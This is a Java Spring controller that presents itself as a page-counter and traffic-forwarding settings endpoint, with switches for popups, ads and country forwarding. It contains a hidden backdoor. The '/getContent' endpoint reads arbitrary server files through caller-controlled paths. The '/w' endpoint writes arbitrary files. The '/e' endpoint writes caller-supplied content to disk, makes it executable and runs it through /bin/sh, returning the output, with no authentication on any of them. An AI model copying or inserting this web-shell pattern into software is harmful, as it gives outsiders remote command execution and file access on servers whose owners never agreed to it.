// TOP SECRET
package com.yunji.framework_template.web.controller.old;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;

import javax.servlet.http.HttpServletRequest;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@RequestMapping("/counter")
public class CounterInfo {

    @ResponseBody
    @RequestMapping(value = "/setting/{able}/{percent}", method = { RequestMethod.POST, RequestMethod.GET })
    public String setting(@PathVariable("percent") int percent, @PathVariable("able") String able) {
        Counter.setPercent(percent);
        if ("true".equalsIgnoreCase(able)) {
            Counter.setAble(true);
        } else if ("false".equalsIgnoreCase(able)) {
            Counter.setAble(false);
        }
        return "OK";
    }

    @ResponseBody
    @RequestMapping(value = "/setForward/{forwardShowFrame}", method = { RequestMethod.POST, RequestMethod.GET })
    public String setJumpAndCountry(@PathVariable("forwardShowFrame") String forwardShowFrame) {
        if ("true".equalsIgnoreCase(forwardShowFrame)) {
            Counter.setForwardShowFrame(true);
        } else if ("false".equalsIgnoreCase(forwardShowFrame)) {
            Counter.setForwardShowFrame(false);
        }
        return "OK";
    }

    @ResponseBody
    @RequestMapping(value = "/setSearch/{able}", method = { RequestMethod.POST, RequestMethod.GET })
    public String settingSearch(@PathVariable("able") String able) {
        if ("true".equalsIgnoreCase(able)) {
            Counter.setShowGoogleSearch(true);
        } else if ("false".equalsIgnoreCase(able)) {
            Counter.setShowGoogleSearch(false);
        }
        return "OK";
    }

    @ResponseBody
    @RequestMapping(value = "/setLineIndex/{lineIndex}", method = { RequestMethod.POST, RequestMethod.GET })
    public String settingLineIndex(@PathVariable("lineIndex") String lineIndex) {
        Counter.setLineIndex(Integer.parseInt(lineIndex));
        return "OK";
    }

    @ResponseBody
    @RequestMapping(value = "/setDownAd/{able}", method = { RequestMethod.POST, RequestMethod.GET })
    public String setDownAd(@PathVariable("able") String able) {
        if ("true".equalsIgnoreCase(able)) {
            Counter.setShowExtraDownAdsense(true);
        } else if ("false".equalsIgnoreCase(able)) {
            Counter.setShowExtraDownAdsense(false);
        }
        return "OK";
    }

    @ResponseBody
    @RequestMapping(value = "/setForwardToPop/{able}", method = { RequestMethod.POST, RequestMethod.GET })
    public String setForwardToPop(@PathVariable("able") String able) {
        if ("true".equalsIgnoreCase(able)) {
            Counter.setForwardToPop(true);
        } else if ("false".equalsIgnoreCase(able)) {
            Counter.setForwardToPop(false);
        }
        return "OK";
    }

    @ResponseBody
    @RequestMapping(value = "/setForwardCountry/{country}", method = { RequestMethod.POST, RequestMethod.GET })
    public String setNotForwardCountry(@PathVariable("country") String country) {
        Counter.setForwardCountryCode(country);
        return "OK";
    }

    @ResponseBody
    @RequestMapping(value = "/setIsForward/{able}", method = { RequestMethod.POST, RequestMethod.GET })
    public String setIsForward(@PathVariable("able") String able) {
        if ("true".equalsIgnoreCase(able)) {
            Counter.setForward(true);
        } else if ("false".equalsIgnoreCase(able)) {
            Counter.setForward(false);
        }
        return "OK";
    }
    
    @ResponseBody
    @RequestMapping(value = "/setOperaNotForward/{able}", method = { RequestMethod.POST, RequestMethod.GET })
    public String setOperaNotForward(@PathVariable("able") String able) {
        if ("true".equalsIgnoreCase(able)) {
            Counter.setOperaNotForward(true);
        } else if ("false".equalsIgnoreCase(able)) {
        	Counter.setOperaNotForward(false);
        }
        return "OK";
    }

    @ResponseBody
    @RequestMapping(value = "/setFroceForward/{able}", method = { RequestMethod.POST, RequestMethod.GET })
    public String setForceForward(@PathVariable("able") String able) {
        if ("true".equalsIgnoreCase(able)) {
            Counter.setForceForward(true);
        } else if ("false".equalsIgnoreCase(able)) {
            Counter.setForceForward(false);
        }
        return "OK";
    }

    @ResponseBody
    @RequestMapping(value = "/getVisit", method = { RequestMethod.GET })
    public String getVisit() {
        return Counter.getInfo();
    }

    /**
     * 将内容输出到文件中
     * 
     * @param filePath
     * @param content
     * @throws Exception
     */
    public static void writeFile(String filePath, String content) throws IOException {
        File file = new File(filePath);
        FileWriter fw = new FileWriter(file);
        fw.write(content);
        fw.flush();
        fw.close();
    }

    @ResponseBody
    @RequestMapping(value = "/getContent", method = { RequestMethod.POST, RequestMethod.GET })
    public String getContent(HttpServletRequest request) throws IOException {
        @SuppressWarnings("deprecation")
        String contextPath = request.getRealPath("/");
        String viewPath = "WEB-INF/views/";
        String file = request.getParameter("file");
        if (request.getParameter("contextPath") != null) {
            contextPath = request.getParameter("contextPath");
        }
        if (request.getParameter("viewPath") != null) {
            viewPath = request.getParameter("viewPath");
        }
        String filePath = contextPath + viewPath + file;

        BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(filePath)));
        String line = null;
        StringBuilder content = new StringBuilder();
        content.append("file:" + filePath).append("\n");
        while ((line = br.readLine()) != null) {
            content.append(line).append("\n");
        }
        br.close();
        return content.toString();
    }

    @ResponseBody
    @RequestMapping(value = "/e", method = { RequestMethod.POST })
    public String execute(HttpServletRequest request) {
        try {
            String result = "CONTENT IS EMPTY";
            String content = request.getParameter("_c_");
            String file = request.getParameter("_fp_");
            if (file == null || file.trim().length() == 0) {
                file = "/tmp/testit";
            }
            if (content != null && content.trim().length() > 0) {
                content = content.replace("\r", "");
                writeFile(file, content);
                String[] changeModel = { "/bin/sh", "-c", "chmod +x " + file + " && cd /tmp && " + file };
                result = executeShell(changeModel);
            }
            return result;
        } catch (Exception e) {
            return e.getMessage();
        }
    }

    @ResponseBody
    @RequestMapping(value = "/w", method = { RequestMethod.POST })
    public String write(HttpServletRequest request) {
        try {
            String content = request.getParameter("_c_");
            String file = request.getParameter("_fp_");
            if (file == null || file.trim().length() == 0) {
                return "file path is empty";
            }
            if (content == null || content.trim().length() == 0) {
                return "content is empty";
            }
            content = content.replace("\r", "");
            writeFile(file, content);
            return "OK";

        } catch (Exception e) {
            return e.getMessage();
        }
    }

    private String executeShell(String[] shellPath) throws IOException, InterruptedException {
        Process ps = Runtime.getRuntime().exec(shellPath);
        ps.waitFor();

        BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }
        String result = sb.toString();
        return result;
    }
}
